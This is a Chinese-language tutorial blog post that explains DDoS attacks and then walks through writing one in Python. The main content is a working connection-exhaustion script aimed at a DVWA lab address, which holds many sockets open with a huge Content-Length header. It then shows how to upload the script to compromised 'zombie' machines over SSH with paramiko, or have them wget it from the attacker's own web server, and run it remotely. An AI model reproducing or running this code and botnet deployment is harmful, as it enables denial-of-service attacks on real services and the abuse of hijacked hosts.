python編寫DDoS攻擊腳本
一、什么是DDoS攻擊
DDoS攻擊就是分布式的拒絕服務攻擊,DDoS攻擊手段是在傳統的DoS攻擊基礎之上產生的一類攻擊方式。單一的DoS攻擊一般是采用一對一方式的,隨着計算機與網絡技術的發展,DoS攻擊的困難程度加大了。於是就產生了DDoS攻擊,它的原理就很簡單:計算機與網絡的處理能力加大了10倍,用一台攻擊機來攻擊不再能起作用,那么DDoS就是利用更多的傀儡機來發起進攻,以比從前更大的規模來進攻受害者。
二、DDoS分類
作為目前最強大、最難防御的攻擊之一,DDos攻擊主要分為兩種。
- 以力取勝:海量的數據包從互聯網各個角落蜂擁而來,堵塞IDC入口,典型的為ICMP Flood和UDP Flood(消耗帶寬)。
- 以巧取勝:主要是利用協議或者軟件的漏洞發起,如Slowloris攻擊,hash沖突。(協議攻擊)
- 混合:上述兩種混合,即利用協議、系統的缺陷,又具備海量的資源,如SYN Flood攻擊,DNS Query Flood攻擊。
三、編寫DDoS攻擊腳本
- 編寫DDoS攻擊腳本,原理是使用
socket連接到目標網站,並發送大量http請求,從而耗盡受攻擊網站資源:
import socket
import time
import threading
MAX_CONN = 100 # 設置連接的數量
PORT = 80 # 設置端口號
HOST = "10.16.53.180" # 設置IP地址
PAGE = "/DVWA"
buf = ("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Content-Length: 1000000000\r\n"
"\r\n" % (PAGE, HOST)) # HTTP請求
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(bytes(buf, encoding='utf-8')) # 發送HTTP請求
print("[+] Send buf OK!,conn=%d" % i)
socks.append(s)
except Exception as ex:
print("[-] Could not connect to server or send error:%s" % ex)
time.sleep(2)
def send_thread():
global socks
for i in range(10):
for s in socks:
try:
s.send(bytes("ddos", encoding='utf-8')) # ddos攻擊
print("[+] send OK!")
except Exception as ex:
print("[-] send Exception:%s" % ex)
socks.remove(s)
s.close()
time.sleep(1)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
- 連接到“傀儡機”,也就是我們常說的“肉雞”,通過ssh進行連接,並將ddos腳本上傳到“肉雞”,方式有許多種,這里介紹兩種。
- 直接通過python的
paramiko模塊上傳文件到遠端:
import paramiko
t = paramiko.Transport(("IP地址",22))
t.connect(username = "用戶名", password = "密碼")
sftp = paramiko.SFTPClient.from_transport(t)
remotepath='/home/ddos.py'
localpath='D:\ddos\ddos.py'
sftp.put(localpath,remotepath)
t.close()
- 在本地開啟apache服務,向遠端發送
wget http://10.16.14.171/ddos.py -O ddos.py指令,下載apache服務器目錄下的ddos.py腳本:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.16.66.71', 22, '用戶名', '密碼')
stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')
上述兩種辦法適用於Windows平台,想在linux平台上實現,可以使用
pexpect模塊實現ssh連接。
- 運行腳本:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')
運行效果如圖:

